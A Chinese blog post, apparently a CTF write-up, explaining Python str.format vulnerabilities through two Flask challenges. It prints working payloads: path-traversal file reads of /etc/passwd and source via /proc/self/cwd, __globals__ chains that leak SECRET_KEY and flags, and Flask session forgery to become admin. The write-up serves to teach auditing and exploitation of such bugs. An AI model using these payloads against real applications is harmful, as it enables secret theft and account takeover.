从两道CTF实例看python格式化字符串漏洞

栏目: Python · 发布时间: 5年前

内容简介:pyhton中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息

从两道CTF实例看 <a href='https://www.codercto.com/topics/20097.html'>python</a> 格式化字符串漏洞

什么是python格式化字符串漏洞

pyhton中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息

python常见的格式化字符串

百分号形式进行格式化字符串

>>> name = 'Hu3sky'
>>> 'My name is %s' %name
'My name is Hu3sky'

使用标准库中的模板字符串

string.Template()

>>> from string import Template
>>> name = 'Hu3sky'
>>> s = Template('My name is $name')
>>> s.substitute(name=name)
'My name is Hu3sky'

使用format进行格式化字符串

format的使用就很灵活了,比如以下

最普通的用法就是直接格式化字符串

>>> 'My name is {}'.format('Hu3sky')
'My name is Hu3sky'

指定位置

>>> 'Hello {0} {1}'.format('World','Hacker')
'Hello World Hacker'
>>> 'Hello {1} {0}'.format('World','Hacker')
'Hello Hacker World'

设置参数

>>> 'Hello {name} {age}'.format(name='Hacker',age='17')
'Hello Hacker 17'

百分比格式

>>> 'We have {:.2%}'.format(0.25)
'We have 25.00%'

获取数组的键值

>>> '{arr[2]}'.format(arr=[1,2,3,4,5])
'3'

用法还有很多,就不一一列举了

这里看一种错误的用法

先是正常打印

>>> config = {'SECRET_KEY': 'f0ma7_t3st'}
>>> class User(object):
...     def __init__(self, name):
...             self.name = name
>>> 'Hello {name}'.format(name=user.name)
Hello hu3sky

恶意利用

>>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__)
"Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': <class '__main__.User'>, 'user': <__main__.User object at 0x03242EF0>}"

可以看到,当我们的 name=user.__class__.__init__.__globals__ 时,就可以将很多敏感的东西给打印出来

SWPUCTF 皇家线上赌场

文件读取

根据首页弹出的xss,来到路径

http://107.167.188.241/static?file=test.js

接着发现任意文件读取

http://107.167.188.241/static?file=/etc/passwd

发现泄露:

http://107.167.188.241/source

文件目录

[root@localhost]# tree web
web/
├── app
│   ├── forms.py
│   ├── __init__.py
│   ├── models.py
│   ├── static
│   ├── templates
│   ├── utils.py
│   └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
    return abort(403)
filename = os.path.join('app/static', filename)
/etc/mtab文件:
/etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。

/proc/mounts文件:
其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有,只是序有所不同,另外还多了一条根文件系统信息:

查看工作目录

/proc/mounts 或者 /etc/mtab

发现web

/home/ctf/web_assli3fasdf

但是除了

http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js ,其余的文件都读不到

绕过目录限制

可以用 /proc/self/cwd 绕过,cwd是一个符号链接,指向了实际的工作目录

views.py http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

def register_views(app):
    @app.before_request
    def reset_account():
        if request.path == '/signup' or request.path == '/login':
            return
        uname = username=session.get('username')
        u = User.query.filter_by(username=uname).first()
        if u:
            g.u = u
            g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
            if uname == 'admin':
                return
            now = int(time())
            if (now - u.ts >= 600):
                u.balance = 10000
                u.count = 0
                u.ts = now
                u.save()
                session['balance'] = 10000
                session['count'] = 0

    @app.route('/getflag', methods=('POST',))
    @login_required
    def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

非admin用户10分钟会重置一次,所以需要构造admin和大于1000000的钱

__init__.py : http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py

拿到s_key 即可伪造session

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = '9f516783b42730b7888008dd5c15fe66'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
    register_views(app)
    db.init_app(app)
    return app

利用脚本解密session

{'csrf_token': '1021549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 10000, 'username': 'hu3sky'}

接着用key伪造

"{'csrf_token': '10
21549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 1000000, 'username': 'admin'}"

从两道CTF实例看python格式化字符串漏洞

format格式化字符串漏洞

然后访问 /getflag
关键代码

def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

这里是format格式化字符串漏洞

可以发现,最后的 jdata.format(field, g.u, mhash) 里的 field 是我们可控的, fieldrequest.form.getrequest 上下文中的 get 方法获取到的

于是大致的思路是找到 g 对象所在的命名空间,找到 getflag 方法,然后调 __globals__ 获取所有变量,再从 getflag 方法中取出 g 对象。由于提升了有 save 方法

所以最后构造的payload

field=save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag

百越杯Easy flask

环境: https://github.com/hongriSec/CTF-Training/tree/master/2018/%E7%99%BE%E8%B6%8A%E6%9D%AF2018/Web

环境搭建

修改工作目录名为flaskr

然后 set FLASK_APP=__init__.py

接着 flask init-db 初始化数据库

就可以 flask run

用户遍历

打开题目,有注册和登陆(源码里没附css。。搭出来的环境界面很简单)

从两道CTF实例看python格式化字符串漏洞

先注册账号

登陆

从两道CTF实例看python格式化字符串漏洞

可以看到有一个 edit secert 的功能

从两道CTF实例看python格式化字符串漏洞

提交后会显示在页面上

从两道CTF实例看python格式化字符串漏洞

观察url

views?id=6

于是我们修改id,发现可以遍历用户,在id=5时是admin

从两道CTF实例看python格式化字符串漏洞

源码审计

通过www-zip下载到源码

目录结构

从两道CTF实例看python格式化字符串漏洞

几个关键点

auth.py

... //省略
@bp_auth.route('/flag')
@login_check
def get_flag():
    if(g.user.username=="admin"):
        with open(os.path.dirname(__file__)+'/flag','rb') as f:
            flag = f.read()
        return flag
    return "Not admin!!"
    ...//省略

secert.py

...//省略
@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
    view_id = request.args.get('id')
    if not view_id:
        view_id = session.get('user_id')

    user_m = user.query.filter_by(id=view_id).first()

    if user_m is None:
        flash(u"该用户未注册")
        return render_template('secert/views.html')

    if str(session.get('user_id'))==str(view_id):
        secert_m = secert.query.filter_by(id=view_id).first()
        secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
    else:
        secert_t = u"<p>***************************************<p>"

    name = u"<h1>name:{user_m.username}<h1>"
    email = u"<h2>email:{user_m.email}<h2>"

    info = (name+email+secert_t).format(user_m=user_m)
    return render_template('secert/views.html',info = info)

    ...//省略

format格式化字符串

从auth可以看到,当用户是admin的时候才可以访问 /flag
在已登录的用户里发现了session

从两道CTF实例看python格式化字符串漏洞

用脚本解密

(test_py3) λ python flask_session解密.py "eyJ1c2VyX2lkIjo2fQ.XFKzTQ.Ucu4Lbwm0b0nJM8QM_9j41MGkPc
"
{'user_id': 6}

于是现在思路很明确了

伪造成admin->访问/flag->get flag

那么现在就要想办法拿到 SECRET_KEY 这样才能伪造session

在secret.py

从两道CTF实例看python格式化字符串漏洞

两处format,第一处的secret是我们可控的,就是edit secert,于是测试

当我提交 {user_m.password}

从两道CTF实例看python格式化字符串漏洞

出现了sha256加密的密码,于是我们就可以通过这里去读SECRET_KEY

从两道CTF实例看python格式化字符串漏洞

secert.py 的开头 importcurrent_app ,于是可以通过获取 current_app 来获取 SECRET_KEY
payload

{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

Session伪造

获取到 SECRET_KEY 后,就是利用脚本伪造session了

利用加密脚本生成session

(test_py3) λ python flask_session加密.py encode -t "{'user_id': 5}" -s "test"
eyJ1c2VyX2lkIjo1fQ.XFLUdg.rVvk_CdUlXvLedmJSCD8YYUABZg

修改session后

从两道CTF实例看python格式化字符串漏洞

访问 /flag

从两道CTF实例看python格式化字符串漏洞

总结

在一般的CTF中,通常格式化字符串漏洞会和session机制的问题,SSTI等一起出现.一般来说,在审计源码的过程中,看到了使用format,且可控,那基本上就可以认为是format格式化字符串漏洞了。


以上所述就是小编给大家介绍的《从两道CTF实例看python格式化字符串漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

JavaScript Patterns

JavaScript Patterns

Stoyan Stefanov / O'Reilly Media, Inc. / 2010-09-21 / USD 29.99

What's the best approach for developing an application with JavaScript? This book helps you answer that question with numerous JavaScript coding patterns and best practices. If you're an experienced d......一起来看看 《JavaScript Patterns》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器